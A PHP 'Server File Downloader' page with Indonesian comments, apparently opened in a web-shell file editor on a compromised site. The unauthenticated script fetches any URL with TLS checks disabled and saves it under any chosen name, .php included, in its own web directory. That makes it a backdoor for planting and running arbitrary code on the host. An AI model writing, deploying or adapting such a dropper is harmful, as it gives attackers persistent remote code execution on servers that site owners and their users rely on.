✏️ Editing: alfapassnew3.php Writable

<?php
// downloader.php - Script untuk mengunduh file ke server (direktori yang sama)
// Pastikan allow_url_fopen = On atau curl enabled di php.ini

// Konfigurasi
$download_dir = __DIR__ . '/'; // Direktori yang sama dengan script
$error = '';
$success = '';
$downloaded_files = [];

// Cek permission direktori
if (!is_writable($download_dir)) {
    $error = 'âŒ Direktori tidak dapat ditulisi! Periksa permission folder.';
}

// Proses form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'download') {
    $file_url = isset($_POST['file_url']) ? trim($_POST['file_url']) : '';
    $custom_filename = isset($_POST['custom_filename']) ? trim($_POST['custom_filename']) : '';
    
    // Validasi input
    if (empty($file_url)) {
        $error = 'âŒ URL file tidak boleh kosong!';
    } elseif (!filter_var($file_url, FILTER_VALIDATE_URL)) {
        $error = 'âŒ Format URL tidak valid!';
    } elseif (empty($custom_filename)) {
        $error = 'âŒ Nama file tidak boleh kosong!';
    } else {
        // Sanitasi nama file - hapus karakter berbahaya
        $custom_filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $custom_filename);
        $custom_filename = trim($custom_filename, '._-');
        
        if (empty($custom_filename)) {
            $error = 'âŒ Nama file tidak valid setelah sanitasi!';
        } else {
            $file_path = $download_dir . $custom_filename;
            
            // Cek apakah file dengan nama sama sudah ada
            if (file_exists($file_path)) {
                $file_info = pathinfo($custom_filename);
                $timestamp = '_' . date('Y-m-d_H-i-s');
                $custom_filename = $file_info['filename'] . $timestamp . '.' . ($file_info['extension'] ?? '');
                $file_path = $download_dir . $custom_filename;
            }
            
            // Coba download dengan cURL terlebih dahulu
            $file_content = false;
            $error_message = '';
            
            if (function_exists('curl_version')) {
                // Menggunakan cURL
                $ch = curl_init();
                curl_setopt_array($ch, [
                    CURLOPT_URL => $file_url,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_MAXREDIRS => 5,
                    CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => false,
                    CURLOPT_TIMEOUT => 300,
                    CURLOPT_CONNECTTIMEOUT => 30,
                    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                    CURLOPT_HEADER => false,
                    CURLOPT_ENCODING => '',
                    CURLOPT_AUTOREFERER => true,
                ]);
                
                $file_content = curl_exec($ch);
                $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                $curl_error = curl_error($ch);
                $content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
                curl_close($ch);
                
                if ($file_content === false || !empty($curl_error)) {
                    $error_message = 'cURL Error: ' . $curl_error;
                } elseif ($http_code !== 200) {
                    $error_message = "HTTP Error: $http_code";
                }
            } else {
                // Fallback ke file_get_contents
                $context = stream_context_create([
                    'http' => [
                        'timeout' => 300,
                        'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                        'follow_location' => true,
                        'max_redirects' => 5,
                    ],
                    'ssl' => [
                        'verify_peer' => false,
                        'verify_peer_name' => false,
                    ],
                ]);
                
                $file_content = @file_get_contents($file_url, false, $context);
                
                if ($file_content === false) {
                    $error_message = 'Gagal mengunduh dengan file_get_contents';
                }
            }
            
            // Proses hasil download
            if ($file_content === false || !empty($error_message)) {
                $error = "âŒ Gagal mengunduh file!\n" . $error_message;
            } elseif (empty($file_content) || strlen($file_content) === 0) {
                $error = 'âŒ File yang diunduh kosong (0 bytes)!';
            } else {
                // Simpan file ke server
                $save_result = @file_put_contents($file_path, $file_content, LOCK_EX);
                
                if ($save_result === false) {
                    $error = 'âŒ Gagal menyimpan file ke server! Periksa permission direktori.';
                } else {
                    // Set permission file
                    @chmod($file_path, 0644);
                    
                    // Format ukuran file
                    $file_size = formatFileSize($save_result);
                    
                    // Tentukan MIME type
                    $mime_type = 'application/octet-stream';
                    if (isset($content_type) && !empty($content_type)) {
                        $mime_type = $content_type;
                    } elseif (function_exists('mime_content_type')) {
                        $detected_mime = @mime_content_type($file_path);
                        if ($detected_mime) {
                            $mime_type = $detected_mime;
                        }
                    }
                    
                    $success = "âœ… File berhasil diunduh ke server!\n\n";
                    $success .= "ðŸ“ Nama File: $custom_filename\n";
                    $success .= "ðŸ“Š Ukuran: $file_size\n";
                    $success .= "ðŸ“‹ Tipe: $mime_type\n";
                    $success .= "ðŸ“‚ Lokasi: " . basename(__FILE__) . " (folder yang sama)\n";
                    $success .= "ðŸ”— URL File: " . htmlspecialchars($file_url);
                }
            }
        }
    }
}

// Format ukuran file
function formatFileSize($bytes) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, 2) . ' ' . $units[$pow];
}

// Fungsi mendapatkan daftar file yang diunduh
function getDownloadedFiles($dir) {
    $files = [];
    $current_script = basename(__FILE__);
    
    if (is_dir($dir) && is_readable($dir)) {
        $items = scandir($dir);
        foreach ($items as $item) {
            // Skip direktori, file sistem, dan script ini sendiri
            if ($item === '.' || $item === '..' || $item === $current_script || is_dir($dir . $item)) {
                continue;
            }
            
            $file_path = $dir . $item;
            if (is_file($file_path) && is_readable($file_path)) {
                $files[] = [
                    'name' => $item,
                    'size' => formatFileSize(filesize($file_path)),
                    'date' => date('Y-m-d H:i:s', filemtime($file_path)),
                    'path' => $item,
                    'ext' => strtolower(pathinfo($item, PATHINFO_EXTENSION)),
                ];
            }
        }
    }
    
    // Sort by date (newest first)
    usort($files, function($a, $b) {
        return strcmp($b['date'], $a['date']);
    });
    
    return $files;
}

// Dapatkan daftar file
$downloaded_files = getDownloadedFiles($download_dir);
$total_files = count($downloaded_files);
$total_size = 0;
foreach ($downloaded_files as $file) {
    $total_size += filesize($download_dir . $file['name']);
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Server File Downloader - Simpan ke Server</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
            background: linear-gradient(135deg, #0f2027 0%, #203a43 50%, #2c5364 100%);
            min-height: 100vh;
            padding: 20px;
            color: #333;
        }

.container {
            max-width: 1000px;
            margin: 0 auto;
        }

.header {
            text-align: center;
            color: white;
            margin-bottom: 30px;
            padding: 30px;
            background: rgba(255, 255, 255, 0.1);
            border-radius: 20px;
            backdrop-filter: blur(10px);
        }

.header .icon {
            font-size: 60px;
            display: block;
            margin-bottom: 15px;
        }

.header h1 {
            font-size: 32px;
            margin-bottom: 10px;
            text-shadow: 2px 2px 4px rgba(0,0,0,0.3);
        }

.header p {
            font-size: 16px;
            opacity: 0.9;
        }

.server-badge {
            display: inline-block;
            background: #4CAF50;
            color: white;
            padding: 5px 15px;
            border-radius: 20px;
            font-size: 12px;
            margin-top: 10px;
        }

.main-content {
            margin-bottom: 30px;
        }

.card {
            background: white;
            border-radius: 20px;
            padding: 30px;
            box-shadow: 0 20px 40px rgba(0, 0, 0, 0.3);
            margin-bottom: 30px;
        }

.card-title {
            font-size: 22px;
            font-weight: 700;
            color: #203a43;
            margin-bottom: 25px;
            padding-bottom: 15px;
            border-bottom: 3px solid #203a43;
            display: flex;
            align-items: center;
            gap: 10px;
        }

.form-group {
            margin-bottom: 20px;
        }

.form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: 600;
            color: #333;
            font-size: 14px;
        }

.form-group label .emoji {
            margin-right: 5px;
        }

.form-group input {
            width: 100%;
            padding: 14px 18px;
            border: 2px solid #e0e0e0;
            border-radius: 12px;
            font-size: 14px;
            transition: all 0.3s ease;
            background: #f8f9fa;
        }

.form-group input:focus {
            outline: none;
            border-color: #203a43;
            box-shadow: 0 0 0 4px rgba(32, 58, 67, 0.1);
            background: white;
        }

.form-group input:hover {
            border-color: #203a43;
        }

.hint {
            font-size: 12px;
            color: #666;
            margin-top: 5px;
            display: block;
        }

.btn-submit {
            width: 100%;
            padding: 16px;
            background: linear-gradient(135deg, #0f2027 0%, #203a43 100%);
            color: white;
            border: none;
            border-radius: 12px;
            font-size: 16px;
            font-weight: 700;
            cursor: pointer;
            transition: all 0.3s ease;
            text-transform: uppercase;
            letter-spacing: 1px;
            position: relative;
            overflow: hidden;
        }

.btn-submit:hover {
            transform: translateY(-2px);
            box-shadow: 0 15px 30px rgba(32, 58, 67, 0.4);
        }

.btn-submit:active {
            transform: translateY(0);
        }

.btn-submit:disabled {
            background: #ccc;
            cursor: not-allowed;
            transform: none;
        }

.alert {
            padding: 20px;
            border-radius: 12px;
            margin-bottom: 20px;
            font-size: 14px;
            line-height: 1.6;
            white-space: pre-line;
            animation: slideDown 0.3s ease;
        }

@keyframes slideDown {
            from {
                opacity: 0;
                transform: translateY(-20px);
            }
            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

.alert-error {
            background: #fff5f5;
            color: #c53030;
            border: 2px solid #fed7d7;
        }

.alert-success {
            background: #f0fff4;
            color: #22543d;
            border: 2px solid #c6f6d5;
        }

.file-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
            gap: 20px;
            max-height: 500px;
            overflow-y: auto;
            padding: 5px;
        }

.file-card {
            background: white;
            border: 2px solid #e0e0e0;
            border-radius: 15px;
            padding: 20px;
            transition: all 0.3s ease;
            position: relative;
        }

.file-card:hover {
            border-color: #203a43;
            box-shadow: 0 10px 30px rgba(0,0,0,0.1);
            transform: translateY(-2px);
        }

.file-icon {
            font-size: 40px;
            margin-bottom: 10px;
            text-align: center;
        }

.file-name {
            font-weight: 600;
            color: #203a43;
            margin-bottom: 10px;
            word-break: break-all;
            font-size: 14px;
        }

.file-meta {
            font-size: 11px;
            color: #666;
            margin-bottom: 5px;
        }

.file-action {
            margin-top: 15px;
            text-align: center;
        }

.btn-download {
            background: #4CAF50;
            color: white;
            padding: 8px 20px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-size: 12px;
            text-decoration: none;
            display: inline-block;
            transition: all 0.3s ease;
            font-weight: 600;
        }

.btn-download:hover {
            background: #45a049;
            transform: scale(1.05);
        }

.empty-state {
            text-align: center;
            padding: 60px 20px;
            color: #999;
        }

.empty-state .icon {
            font-size: 80px;
            display: block;
            margin-bottom: 20px;
            opacity: 0.5;
        }

.stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 20px;
        }

.stat-card {
            background: linear-gradient(135deg, #0f2027 0%, #203a43 100%);
            color: white;
            padding: 20px;
            border-radius: 15px;
            text-align: center;
        }

.stat-value {
            font-size: 28px;
            font-weight: 700;
            margin-bottom: 5px;
        }

.stat-label {
            font-size: 12px;
            opacity: 0.9;
        }

.progress-container {
            margin-top: 15px;
            display: none;
        }

.progress-bar {
            width: 100%;
            height: 8px;
            background: #e0e0e0;
            border-radius: 10px;
            overflow: hidden;
        }

.progress-fill {
            height: 100%;
            background: linear-gradient(90deg, #0f2027, #203a43);
            width: 0%;
            transition: width 0.3s ease;
            border-radius: 10px;
            animation: progress 2s ease infinite;
        }

@keyframes progress {
            0% { width: 0%; }
            100% { width: 90%; }
        }

.progress-text {
            text-align: center;
            margin-top: 8px;
            font-size: 12px;
            color: #666;
        }

@media (max-width: 768px) {
            .file-grid {
                grid-template-columns: 1fr;
            }
            
            .header h1 {
                font-size: 24px;
            }
            
            .card {
                padding: 20px;
            }
        }

/* Scrollbar styling */
        ::-webkit-scrollbar {
            width: 8px;
        }

::-webkit-scrollbar-track {
            background: #f1f1f1;
            border-radius: 10px;
        }

::-webkit-scrollbar-thumb {
            background: #888;
            border-radius: 10px;
        }

::-webkit-scrollbar-thumb:hover {
            background: #555;
        }
    </style>
</head>
<body>
    <div class="container">
        
        <div class="header">
            <span class="icon">ðŸ–¥ï¸</span>
            <h1>Server File Downloader</h1>
            <p>Unduh file dari URL langsung ke server hosting</p>
            <span class="server-badge">âš¡ File tersimpan di folder yang sama</span>
        </div>

<div class="main-content">
            <div class="card">
                <div class="card-title">
                    ðŸ“¥ Unduh File dari URL
                </div>

<?php if ($error): ?>
                <div class="alert alert-error">
                    <?php echo htmlspecialchars($error); ?>
                </div>
                <?php endif; ?>

<?php if ($success): ?>
                <div class="alert alert-success">
                    <?php echo htmlspecialchars($success); ?>
                </div>
                <?php endif; ?>

<form id="downloadForm" method="POST" action="">
                    <input type="hidden" name="action" value="download">
                    
                    <div class="form-group">
                        <label>
                            <span class="emoji">ðŸ”—</span> URL File Sumber
                        </label>
                        <input 
                            type="url" 
                            name="file_url" 
                            id="file_url"
                            placeholder="https://example.com/file.pdf"
                            required
                            autocomplete="off"
                        >
                        <span class="hint">Masukkan URL lengkap file yang ingin diunduh ke server</span>
                    </div>

<div class="form-group">
                        <label>
                            <span class="emoji">âœï¸</span> Nama File di Server
                        </label>
                        <input 
                            type="text" 
                            name="custom_filename" 
                            id="custom_filename"
                            placeholder="nama-file-anda.ekstensi"
                            required
                            autocomplete="off"
                        >
                        <span class="hint">
                            Contoh: dokumen.pdf, backup.zip, gambar.jpg, video.mp4<br>
                            File akan disimpan di folder yang sama dengan script ini
                        </span>
                    </div>

<button type="submit" class="btn-submit" id="submitBtn">
                        â¬‡ï¸ Unduh File ke Server
                    </button>

<div class="progress-container" id="progressContainer">
                        <div class="progress-bar">
                            <div class="progress-fill"></div>
                        </div>
                        <div class="progress-text">Mengunduh file ke server...</div>
                    </div>
                </form>
            </div>

<div class="stats-grid">
                <div class="stat-card">
                    <div class="stat-value">ðŸ“ <?php echo $total_files; ?></div>
                    <div class="stat-label">Total File di Server</div>
                </div>
                <div class="stat-card">
                    <div class="stat-value">ðŸ’¾ <?php echo formatFileSize($total_size); ?></div>
                    <div class="stat-label">Total Ukuran File</div>
                </div>
                <div class="stat-card">
                    <div class="stat-value">ðŸ“‚ <?php echo basename(__FILE__); ?></div>
                    <div class="stat-label">Lokasi Script</div>
                </div>
                <div class="stat-card">
                    <div class="stat-value">ðŸ•’ <?php echo date('H:i:s'); ?></div>
                    <div class="stat-label">Waktu Server</div>
                </div>
            </div>

<div class="card" style="margin-top: 30px;">
                <div class="card-title">
                    ðŸ“‚ File yang Tersimpan di Server
                    <span style="font-size: 14px; margin-left: auto; color: #666;">
                        <?php echo $total_files; ?> file
                    </span>
                </div>

<?php if (empty($downloaded_files)): ?>
                <div class="empty-state">
                    <span class="icon">ðŸ“</span>
                    <h3>Belum Ada File</h3>
                    <p>File yang diunduh dari URL akan muncul di sini</p>
                    <small>Semua file tersimpan di folder yang sama dengan script ini</small>
                </div>
                <?php else: ?>
                <div class="file-grid">
                    <?php foreach ($downloaded_files as $file): 
                        // Tentukan icon berdasarkan ekstensi
                        $icon = 'ðŸ“„';
                        $image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg'];
                        $archive_extensions = ['zip', 'rar', '7z', 'tar', 'gz'];
                        $video_extensions = ['mp4', 'avi', 'mkv', 'mov', 'wmv'];
                        $audio_extensions = ['mp3', 'wav', 'flac', 'aac', 'ogg'];
                        
                        if (in_array($file['ext'], $image_extensions)) $icon = 'ðŸ–¼ï¸';
                        elseif (in_array($file['ext'], $archive_extensions)) $icon = 'ðŸ“¦';
                        elseif (in_array($file['ext'], $video_extensions)) $icon = 'ðŸŽ¬';
                        elseif (in_array($file['ext'], $audio_extensions)) $icon = 'ðŸŽµ';
                        elseif ($file['ext'] === 'pdf') $icon = 'ðŸ“•';
                        elseif (in_array($file['ext'], ['doc', 'docx'])) $icon = 'ðŸ“';
                        elseif (in_array($file['ext'], ['xls', 'xlsx'])) $icon = 'ðŸ“Š';
                        elseif (in_array($file['ext'], ['ppt', 'pptx'])) $icon = 'ðŸ“½ï¸';
                    ?>
                    <div class="file-card">
                        <div class="file-icon"><?php echo $icon; ?></div>
                        <div class="file-name"><?php echo htmlspecialchars($file['name']); ?></div>
                        <div class="file-meta">ðŸ“Š <?php echo $file['size']; ?></div>
                        <div class="file-meta">ðŸ• <?php echo $file['date']; ?></div>
                        <div class="file-action">
                            <a href="<?php echo htmlspecialchars($file['path']); ?>" 
                               class="btn-download" 
                               download="<?php echo htmlspecialchars($file['name']); ?>">
                                ðŸ“¥ Download
                            </a>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
                <?php endif; ?>
            </div>
        </div>
    </div>

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